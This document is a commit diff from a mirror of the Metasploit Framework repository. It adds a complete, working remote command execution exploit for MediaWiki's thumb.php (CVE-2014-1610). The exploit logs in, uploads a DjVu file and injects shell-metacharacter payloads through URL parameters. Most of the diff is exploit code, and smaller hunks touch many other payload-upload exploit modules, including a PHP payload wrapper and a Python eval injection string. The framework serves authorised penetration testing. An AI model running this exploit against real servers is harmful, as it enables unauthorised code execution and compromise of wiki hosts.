mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Land #2939, @Meatballs1 exploit for Wikimedia RCE and a lot more...
This commit is contained in:
commit
4ca4d82d89
BIN
data/exploits/cve-2014-1610/metasploit.djvu
Normal file
BIN
data/exploits/cve-2014-1610/metasploit.djvu
Normal file
Binary file not shown.
1
data/exploits/cve-2014-1610/readme.md
Normal file
1
data/exploits/cve-2014-1610/readme.md
Normal file
@ -0,0 +1 @@
|
||||
Any DjVu file can be used this is just a snazzy Metasploit one
|
@ -232,6 +232,7 @@ class EncodedPayload
|
||||
|
||||
# Prefix the prepend encoder value
|
||||
self.encoded = (reqs['PrependEncoder'] || '') + self.encoded
|
||||
self.encoded << (reqs['AppendEncoder'] || '')
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -524,6 +524,7 @@ class Exploit < Msf::Module
|
||||
reqs['PrependEncoder'] = payload_prepend_encoder(explicit_target)
|
||||
reqs['BadChars'] = payload_badchars(explicit_target)
|
||||
reqs['Append'] = payload_append(explicit_target)
|
||||
reqs['AppendEncoder'] = payload_append_encoder(explicit_target)
|
||||
reqs['MaxNops'] = payload_max_nops(explicit_target)
|
||||
reqs['MinNops'] = payload_min_nops(explicit_target)
|
||||
reqs['Encoder'] = datastore['ENCODER']
|
||||
@ -831,6 +832,23 @@ class Exploit < Msf::Module
|
||||
p
|
||||
end
|
||||
|
||||
#
|
||||
# Return any text that should be appended to the encoder of the payload.
|
||||
# The payload module is passed so that the exploit can take a guess
|
||||
# at architecture and platform if it's a multi exploit.
|
||||
#
|
||||
def payload_append_encoder(explicit_target = nil)
|
||||
explicit_target ||= target
|
||||
|
||||
if (explicit_target and explicit_target.payload_append_encoder)
|
||||
p = explicit_target.payload_append_encoder
|
||||
else
|
||||
p = payload_info['AppendEncoder'] || ''
|
||||
end
|
||||
|
||||
p
|
||||
end
|
||||
|
||||
#
|
||||
# Maximum number of nops to use as a hint to the framework.
|
||||
# Nil signifies that the framework should decide.
|
||||
|
@ -164,7 +164,7 @@ module Exploit::Remote::HttpClient
|
||||
|
||||
# Configure the HTTP client with the supplied parameter
|
||||
nclient.set_config(
|
||||
'vhost' => self.vhost(),
|
||||
'vhost' => opts['vhost'] || self.vhost(),
|
||||
'agent' => datastore['UserAgent'],
|
||||
'uri_encode_mode' => datastore['HTTP::uri_encode_mode'],
|
||||
'uri_full_url' => datastore['HTTP::uri_full_url'],
|
||||
@ -268,8 +268,9 @@ module Exploit::Remote::HttpClient
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Connects to the server, creates a request, sends the request, reads the response
|
||||
|
||||
# Connects to the server, creates a request, sends the request,
|
||||
# reads the response
|
||||
#
|
||||
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
|
||||
#
|
||||
@ -283,6 +284,37 @@ module Exploit::Remote::HttpClient
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Connects to the server, creates a request, sends the request, reads the response
|
||||
# if a redirect (HTTP 30x response) is received it will attempt to follow the
|
||||
# direct and retrieve that URI.
|
||||
#
|
||||
# @note The +opts+ will be updated to the updated location and +opts['redirect_uri']+
|
||||
# will contain the full URI.
|
||||
#
|
||||
def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1)
|
||||
res = send_request_cgi(opts, timeout)
|
||||
return res unless res && res.redirect? && redirect_depth > 0
|
||||
|
||||
redirect_depth -= 1
|
||||
location = res.redirection
|
||||
return res if location.nil?
|
||||
|
||||
opts['redirect_uri'] = location
|
||||
opts['uri'] = location.path
|
||||
opts['rhost'] = location.host
|
||||
opts['vhost'] = location.host
|
||||
opts['rport'] = location.port
|
||||
|
||||
if location.scheme == 'https'
|
||||
opts['ssl'] = true
|
||||
else
|
||||
opts['ssl'] = false
|
||||
end
|
||||
|
||||
send_request_cgi!(opts, timeout, redirect_depth)
|
||||
end
|
||||
|
||||
#
|
||||
# Combine the user/pass into an auth string for the HTTP Client
|
||||
#
|
||||
|
@ -198,6 +198,13 @@ class Msf::Module::Target
|
||||
opts['Payload'] ? opts['Payload']['PrependEncoder'] : nil
|
||||
end
|
||||
|
||||
#
|
||||
# Payload append encoder information for this target.
|
||||
#
|
||||
def payload_append_encoder
|
||||
opts['Payload'] ? opts['Payload']['AppendEncoder'] : nil
|
||||
end
|
||||
|
||||
#
|
||||
# Payload stack adjustment information for this target.
|
||||
#
|
||||
|
17
lib/rex/mime/encoding.rb
Normal file
17
lib/rex/mime/encoding.rb
Normal file
@ -0,0 +1,17 @@
|
||||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module MIME
|
||||
# Set of helpers methods to deal with SMTP encoding related topics.
|
||||
module Encoding
|
||||
|
||||
# Enforces CRLF on the input data
|
||||
#
|
||||
# @param data [String] The data to CRLF enforce.
|
||||
# @return [String] CRLF enforced data.
|
||||
def force_crlf(data)
|
||||
data.gsub("\r", '').gsub("\n", "\r\n")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
@ -5,10 +5,14 @@ class Message
|
||||
|
||||
require 'rex/mime/header'
|
||||
require 'rex/mime/part'
|
||||
require 'rex/mime/encoding'
|
||||
require 'rex/text'
|
||||
|
||||
include Rex::MIME::Encoding
|
||||
|
||||
attr_accessor :header, :parts, :bound, :content
|
||||
|
||||
|
||||
def initialize(data=nil)
|
||||
self.header = Rex::MIME::Header.new
|
||||
self.parts = []
|
||||
@ -122,23 +126,22 @@ class Message
|
||||
end
|
||||
|
||||
def to_s
|
||||
msg = self.header.to_s + "\r\n"
|
||||
msg = force_crlf(self.header.to_s + "\r\n")
|
||||
|
||||
if self.content and not self.content.empty?
|
||||
msg << self.content + "\r\n"
|
||||
unless self.content.blank?
|
||||
msg << force_crlf(self.content + "\r\n")
|
||||
end
|
||||
|
||||
self.parts.each do |part|
|
||||
msg << "--" + self.bound + "\r\n"
|
||||
msg << part.to_s + "\r\n"
|
||||
msg << force_crlf("--" + self.bound + "\r\n")
|
||||
msg << part.to_s
|
||||
end
|
||||
|
||||
if self.parts.length > 0
|
||||
msg << "--" + self.bound + "--\r\n"
|
||||
msg << force_crlf("--" + self.bound + "--\r\n")
|
||||
end
|
||||
|
||||
# Force CRLF for SMTP compatibility
|
||||
msg.gsub("\r", '').gsub("\n", "\r\n")
|
||||
msg
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -4,6 +4,9 @@ module MIME
|
||||
class Part
|
||||
|
||||
require 'rex/mime/header'
|
||||
require 'rex/mime/encoding'
|
||||
|
||||
include Rex::MIME::Encoding
|
||||
|
||||
attr_accessor :header, :content
|
||||
|
||||
@ -13,7 +16,33 @@ class Part
|
||||
end
|
||||
|
||||
def to_s
|
||||
self.header.to_s + "\r\n" + self.content + "\r\n"
|
||||
self.header.to_s + "\r\n" + content_encoded + "\r\n"
|
||||
end
|
||||
|
||||
# Returns the part content with any necessary encoding or transformation
|
||||
# applied.
|
||||
#
|
||||
# @return [String] Content with encoding or transformations applied.
|
||||
def content_encoded
|
||||
binary_content? ? content : force_crlf(content)
|
||||
end
|
||||
|
||||
# Answers if the part content is binary.
|
||||
#
|
||||
# @return [Boolean] true if the part content is binary, false otherwise.
|
||||
def binary_content?
|
||||
transfer_encoding && transfer_encoding == 'binary'
|
||||
end
|
||||
|
||||
# Returns the Content-Transfer-Encoding of the part.
|
||||
#
|
||||
# @returns [nil] if the part hasn't Content-Transfer-Encoding.
|
||||
# @returns [String] The Content-Transfer-Encoding or the part.
|
||||
def transfer_encoding
|
||||
h = header.find('Content-Transfer-Encoding')
|
||||
return nil if h.nil?
|
||||
|
||||
h[1]
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -1,4 +1,5 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'uri'
|
||||
require 'rex/proto/http'
|
||||
|
||||
module Rex
|
||||
@ -107,6 +108,25 @@ class Response < Packet
|
||||
end
|
||||
end
|
||||
|
||||
# Answers if the response is a redirection one.
|
||||
#
|
||||
# @return [Boolean] true if the response is a redirection, false otherwise.
|
||||
def redirect?
|
||||
[301, 302, 303, 307, 308].include?(code)
|
||||
end
|
||||
|
||||
# Provides the uri of the redirection location.
|
||||
#
|
||||
# @return [URI] the uri of the redirection location.
|
||||
# @return [nil] if the response hasn't a Location header or it isn't a valid uri.
|
||||
def redirection
|
||||
begin
|
||||
URI(headers['Location'])
|
||||
rescue ::URI::InvalidURIError
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the response based command string.
|
||||
#
|
||||
|
@ -179,9 +179,7 @@ class Metasploit4 < Msf::Auxiliary
|
||||
post_data.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
|
||||
post_data.add_part("Upload file", nil, nil, "form-data; name=\"wpUpload\"")
|
||||
|
||||
# Work around an incompatible MIME implementation
|
||||
data = post_data.to_s
|
||||
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.to_s, "index.php", "Special:Upload"),
|
||||
|
@ -149,7 +149,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part("submit", nil, nil, "form-data; name=\"__act\"")
|
||||
post_data.add_part(phppayload, "application/octet-stream", nil, "file; name=\"importcompany\"; filename=\"#{payload_name}\"")
|
||||
file = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
file = post_data.to_s
|
||||
|
||||
print_status("#{peer} - Uploading Payload [ #{payload_name} ]")
|
||||
res = send_request_cgi({
|
||||
|
@ -182,7 +182,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
data.add_part('Execute', nil, nil, 'form-data; name="frm_change"')
|
||||
|
||||
post_data = data.to_s
|
||||
post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
@ -61,9 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{filename}\"")
|
||||
post_data.add_part("../../../..#{location}", nil, nil, "form-data; name=\"uploadPath\"")
|
||||
|
||||
# Work around an incompatible MIME implementation
|
||||
data = post_data.to_s
|
||||
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
|
@ -76,7 +76,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
data.add_part(' Upload', nil, nil, "form-data; name=\"submitok\"")
|
||||
|
||||
post_data = data.to_s
|
||||
post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
|
||||
print_status("#{peer} - Uploading payload (#{p.length.to_s} bytes)...")
|
||||
res = send_request_cgi({
|
||||
|
@ -107,7 +107,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
data.add_part("true", nil, nil, "form-data; name=\"confirm\"")
|
||||
|
||||
data_post = data.to_s
|
||||
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
@ -98,7 +98,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_confirm]"')
|
||||
|
||||
data_post = data.to_s
|
||||
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
@ -78,7 +78,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd27"')
|
||||
data.add_part("n", nil, nil, 'form-data; name="act"')
|
||||
data_post = data.to_s
|
||||
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
368
modules/exploits/multi/http/mediawiki_thumb.rb
Normal file
368
modules/exploits/multi/http/mediawiki_thumb.rb
Normal file
@ -0,0 +1,368 @@
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MediaWiki Thumb.php Remote Command Execution',
|
||||
'Description' => %q{
|
||||
MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x before 1.19.11,
|
||||
when DjVu or PDF file upload support is enabled, allows remote unauthenticated
|
||||
users to execute arbitrary commands via shell metacharacters. If no target file
|
||||
is specified this module will attempt to log in with the provided credentials to
|
||||
upload a file (.DjVu) to use for exploitation.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Netanel Rubin', # from Check Point - Discovery
|
||||
'Brandon Perry', # Metasploit Module
|
||||
'Ben Harris', # Metasploit Module
|
||||
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2014-1610' ],
|
||||
[ 'OSVDB', '102630'],
|
||||
[ 'URL', 'http://www.checkpoint.com/threatcloud-central/articles/2014-01-28-tc-researchers-discover.html' ],
|
||||
[ 'URL', 'https://bugzilla.wikimedia.org/show_bug.cgi?id=60339' ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic PHP-CLI',
|
||||
{
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\r\n",
|
||||
'PrependEncoder' => "php -r \"",
|
||||
'AppendEncoder' => "\""
|
||||
},
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP
|
||||
}
|
||||
],
|
||||
[ 'Linux CMD',
|
||||
{
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "",
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl python php',
|
||||
}
|
||||
},
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => ARCH_CMD
|
||||
}
|
||||
],
|
||||
[ 'Windows CMD',
|
||||
{
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "",
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl',
|
||||
}
|
||||
},
|
||||
'Platform' => ['win'],
|
||||
'Arch' => ARCH_CMD
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 28 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "Base MediaWiki path", '/mediawiki' ]),
|
||||
OptString.new('FILENAME', [ false, "Target DjVu/PDF file (e.g target.djvu target.pdf)", nil ]),
|
||||
OptString.new('USERNAME', [ false, "Username to authenticate with", '' ]),
|
||||
OptString.new('PASSWORD', [ false, "Password to authenticate with", '' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def get_version(body)
|
||||
meta_generator = get_html_value(body, 'meta', 'generator', 'content')
|
||||
|
||||
unless meta_generator
|
||||
vprint_status("No META Generator tag on #{full_uri}.")
|
||||
return nil, nil, nil
|
||||
end
|
||||
|
||||
if meta_generator && meta_generator =~ /mediawiki/i
|
||||
vprint_status("#{meta_generator} detected.")
|
||||
meta_generator =~ /(\d)\.(\d+)[\.A-z]+(\d+)/
|
||||
major = $1.to_i
|
||||
minor = $2.to_i
|
||||
patch = $3.to_i
|
||||
vprint_status("Major:#{major} Minor:#{minor} Patch:#{patch}")
|
||||
|
||||
return major, minor, patch
|
||||
end
|
||||
|
||||
return nil, nil, nil
|
||||
end
|
||||
|
||||
def check
|
||||
uri = target_uri.path
|
||||
|
||||
opts = { 'uri' => normalize_uri(uri, 'index.php') }
|
||||
|
||||
response = send_request_cgi!(opts)
|
||||
|
||||
if opts['redirect_uri']
|
||||
vprint_status("Redirected to #{opts['redirect_uri']}.")
|
||||
end
|
||||
|
||||
unless response
|
||||
vprint_status("No response from #{full_uri}.")
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
# Mediawiki will give a 404 for unknown pages but still have a body
|
||||
if response.code == 200 || response.code == 404
|
||||
vprint_status("#{response.code} response received...")
|
||||
|
||||
major, minor, patch = get_version(response.body)
|
||||
|
||||
unless major
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if major == 1 && (minor < 8 || minor > 22)
|
||||
return CheckCode::Safe
|
||||
elsif major == 1 && (minor == 22 && patch > 1)
|
||||
return CheckCode::Safe
|
||||
elsif major == 1 && (minor == 21 && patch > 4)
|
||||
return CheckCode::Safe
|
||||
elsif major == 1 && (minor == 19 && patch > 10)
|
||||
return CheckCode::Safe
|
||||
elsif major == 1
|
||||
return CheckCode::Appears
|
||||
else
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("Received response code #{response.code} from #{full_uri}")
|
||||
CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
uri = target_uri.path
|
||||
|
||||
print_status("Grabbing version and login CSRF token...")
|
||||
response = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'index.php'),
|
||||
'vars_get' => { 'title' => 'Special:UserLogin' }
|
||||
})
|
||||
|
||||
unless response
|
||||
fail_with(Failure::NotFound, "Failed to retrieve webpage.")
|
||||
end
|
||||
|
||||
server = response['Server']
|
||||
if server && target.name =~ /automatic/i && server =~ /win32/i
|
||||
vprint_status("Windows platform detected: #{server}.")
|
||||
my_platform = Msf::Module::Platform::Windows
|
||||
elsif server && target.name =~ /automatic/i
|
||||
vprint_status("Nix platform detected: #{server}.")
|
||||
my_platform = Msf::Module::Platform::Unix
|
||||
else
|
||||
my_platform = target.platform.platforms.first
|
||||
end
|
||||
|
||||
# If we have already identified a DjVu/PDF file on the server trigger
|
||||
# the exploit
|
||||
unless datastore['FILENAME'].blank?
|
||||
payload_request(uri, datastore['FILENAME'], my_platform)
|
||||
return
|
||||
end
|
||||
|
||||
username = datastore['USERNAME']
|
||||
password = datastore['PASSWORD']
|
||||
|
||||
major, minor, patch = get_version(response.body)
|
||||
|
||||
# Upload CSRF added in v1.18.2
|
||||
# http://www.mediawiki.org/wiki/Release_notes/1.18#Changes_since_1.18.1
|
||||
if ((major == 1) && (minor == 18) && (patch == 0 || patch == 1))
|
||||
upload_csrf = false
|
||||
elsif ((major == 1) && (minor < 18))
|
||||
upload_csrf = false
|
||||
else
|
||||
upload_csrf = true
|
||||
end
|
||||
|
||||
session_cookie = response.get_cookies
|
||||
|
||||
wp_login_token = get_html_value(response.body, 'input', 'wpLoginToken', 'value')
|
||||
|
||||
if wp_login_token.blank?
|
||||
fail_with(Failure::UnexpectedReply, "Couldn't find login token. Is URI set correctly?")
|
||||
else
|
||||
print_good("Retrieved login CSRF token.")
|
||||
end
|
||||
|
||||
print_status("Attempting to login...")
|
||||
login = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'index.php'),
|
||||
'method' => 'POST',
|
||||
'vars_get' => {
|
||||
'title' => 'Special:UserLogin',
|
||||
'action' => 'submitlogin',
|
||||
'type' => 'login'
|
||||
},
|
||||
'cookie' => session_cookie,
|
||||
'vars_post' => {
|
||||
'wpName' => username,
|
||||
'wpPassword' => password,
|
||||
'wpLoginAttempt' => 'Log in',
|
||||
'wpLoginToken' => wp_login_token
|
||||
}
|
||||
})
|
||||
|
||||
if login and login.code == 302
|
||||
print_good("Log in successful.")
|
||||
else
|
||||
fail_with(Failure::NoAccess, "Failed to log in.")
|
||||
end
|
||||
|
||||
auth_cookie = login.get_cookies.gsub('mediawikiToken=deleted;','')
|
||||
|
||||
# Testing v1.15.1 it looks like it has session fixation
|
||||
# vulnerability so we dont get a new session cookie after
|
||||
# authenticating. Therefore we need to include our old cookie.
|
||||
unless auth_cookie.include? 'session='
|
||||
auth_cookie << session_cookie
|
||||
end
|
||||
|
||||
print_status("Getting upload CSRF token...") if upload_csrf
|
||||
upload_file = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'index.php', 'Special:Upload'),
|
||||
'cookie' => auth_cookie
|
||||
})
|
||||
|
||||
unless upload_file and upload_file.code == 200
|
||||
fail_with(Failure::NotFound, "Failed to access file upload page.")
|
||||
end
|
||||
|
||||
wp_edit_token = get_html_value(upload_file.body, 'input', 'wpEditToken', 'value') if upload_csrf
|
||||
wp_upload = get_html_value(upload_file.body, 'input', 'wpUpload', 'value')
|
||||
title = get_html_value(upload_file.body, 'input', 'title', 'value')
|
||||
|
||||
if upload_csrf && wp_edit_token.blank?
|
||||
fail_with(Failure::UnexpectedReply, "Couldn't find upload token. Is URI set correctly?")
|
||||
elsif upload_csrf
|
||||
print_good("Retrieved upload CSRF token.")
|
||||
end
|
||||
|
||||
upload_mime = Rex::MIME::Message.new
|
||||
|
||||
djvu_file = ::File.read(::File.join(Msf::Config.data_directory, "exploits", "cve-2014-1610", "metasploit.djvu"))
|
||||
file_name = "#{rand_text_alpha(4)}.djvu"
|
||||
|
||||
upload_mime.add_part(djvu_file, "application/octet-stream", "binary", "form-data; name=\"wpUploadFile\"; filename=\"#{file_name}\"")
|
||||
upload_mime.add_part("#{file_name}", nil, nil, "form-data; name=\"wpDestFile\"")
|
||||
upload_mime.add_part("#{rand_text_alpha(4)}", nil, nil, "form-data; name=\"wpUploadDescription\"")
|
||||
upload_mime.add_part("", nil, nil, "form-data; name=\"wpLicense\"")
|
||||
upload_mime.add_part("1",nil,nil, "form-data; name=\"wpIgnoreWarning\"")
|
||||
upload_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"") if upload_csrf
|
||||
upload_mime.add_part(title, nil, nil, "form-data; name=\"title\"")
|
||||
upload_mime.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
|
||||
upload_mime.add_part(wp_upload, nil, nil, "form-data; name=\"wpUpload\"")
|
||||
post_data = upload_mime.to_s
|
||||
|
||||
print_status("Uploading DjVu file #{file_name}...")
|
||||
|
||||
upload = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, 'index.php', 'Special:Upload'),
|
||||
'data' => post_data,
|
||||
'ctype' => "multipart/form-data; boundary=#{upload_mime.bound}",
|
||||
'cookie' => auth_cookie
|
||||
})
|
||||
|
||||
if upload and upload.code == 302 and upload.headers['Location']
|
||||
location = upload.headers['Location']
|
||||
print_good("File uploaded to #{location}")
|
||||
else
|
||||
if upload.body.include? 'not a permitted file type'
|
||||
fail_with(Failure::NotVulnerable, "Wiki is not configured for target files.")
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "Failed to upload file.")
|
||||
end
|
||||
end
|
||||
|
||||
payload_request(uri, file_name, my_platform)
|
||||
end
|
||||
|
||||
def payload_request(uri, file_name, my_platform)
|
||||
if my_platform == Msf::Module::Platform::Windows
|
||||
trigger = "1)&(#{payload.encoded})&"
|
||||
else
|
||||
trigger = "1;#{payload.encoded};"
|
||||
end
|
||||
|
||||
vars_get = { 'f' => file_name }
|
||||
if file_name.include? '.pdf'
|
||||
vars_get['width'] = trigger
|
||||
elsif file_name.include? '.djvu'
|
||||
vars_get['width'] = 1
|
||||
vars_get['p'] = trigger
|
||||
else
|
||||
fail_with(Failure::BadConfig, "Unsupported file extension: #{file_name}")
|
||||
end
|
||||
|
||||
print_status("Sending payload request...")
|
||||
r = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'thumb.php'),
|
||||
'vars_get' => vars_get
|
||||
}, 1)
|
||||
|
||||
if r && r.code == 404 && r.body =~ /not exist/
|
||||
print_error("File: #{file_name} does not exist.")
|
||||
elsif r
|
||||
print_error("Received response #{r.code}, exploit probably failed.")
|
||||
end
|
||||
end
|
||||
|
||||
# The order of name, value keeps shifting so regex is painful.
|
||||
# Cant use nokogiri due to security issues
|
||||
# Cant use REXML directly as its not strict XHTML
|
||||
# So we do a filthy mixture of regex and REXML
|
||||
def get_html_value(html, type, name, value)
|
||||
return nil unless html
|
||||
return nil unless type
|
||||
return nil unless name
|
||||
return nil unless value
|
||||
|
||||
found = nil
|
||||
html.each_line do |line|
|
||||
if line =~ /(<#{type}[^\/]*name="#{name}".*?\/>)/i
|
||||
found = $&
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if found
|
||||
doc = REXML::Document.new found
|
||||
return doc.root.attributes[value]
|
||||
end
|
||||
|
||||
''
|
||||
end
|
||||
end
|
||||
|
@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
|
||||
data.add_part(normalize_uri(uri, 'includes', 'jquery.uploadify/', nil, nil, "form-data; name=\"folder\""))
|
||||
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
post_data = data.to_s
|
||||
print_status("#{peer} - Uploading payload #{@payload_name}")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
@ -181,7 +181,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
data.add_part('en_US', nil, nil, 'form-data; name="users[culture]"')
|
||||
data.add_part('', nil, nil, 'form-data; name="new_password"')
|
||||
|
||||
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
post_data = data.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
@ -104,9 +104,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
data.add_part('3000', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")
|
||||
data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"")
|
||||
|
||||
# The app doesn't really like the extra "\r\n", so we need to remove the newline.
|
||||
post_data = data.to_s
|
||||
post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
|
||||
print_status("#{peer} - Uploading payload (#{p.length.to_s} bytes)...")
|
||||
res = send_request_cgi({
|
||||
|
@ -111,9 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
post_data.add_part(location, nil, nil, "form-data; name=\"searchFolder\"")
|
||||
post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFilename\"; filename=\"#{filename}\"")
|
||||
|
||||
# Work around an incompatible MIME implementation
|
||||
data = post_data.to_s
|
||||
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
|
@ -93,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
php = "<?php #{payload.encoded} ?>"
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"")
|
||||
post_data = data.to_s.gsub(/^\r\n--_Part_/, '--_Part_')
|
||||
post_data = data.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
@ -86,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(p, "application/octet-stream", nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"")
|
||||
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
post_data = data.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(payload.encoded, "application/x-php", nil, "form-data; name=\"Filedata[]\"; filename=\"#{@upload_name}.\"")
|
||||
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
post_data = data.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
data.add_part(fname, nil, nil, "form-data; name=\"Filename\"")
|
||||
data.add_part(p, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"")
|
||||
data.add_part('Submit Query', nil, nil, 'form-data; name="Upload"')
|
||||
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
post_data = data.to_s
|
||||
|
||||
uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'upload.php')
|
||||
|
||||
|
@ -160,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part("drawing.r if()else[]\nexec eval(\"open(__file__)\\56read()\\56split('[MARK]')[-2]\\56strip('\\\\0')\")", nil, nil, "form-data; name=\"filename\"")
|
||||
post_data.add_part(my_payload, "image/png", nil, "form-data; name=\"filepath\"; filename=\"drawing.png\"")
|
||||
my_data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
my_data = post_data.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
@ -94,7 +94,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
print_status("#{peer} - Uploading PHP payload...")
|
||||
|
||||
n_data = post_data.to_s
|
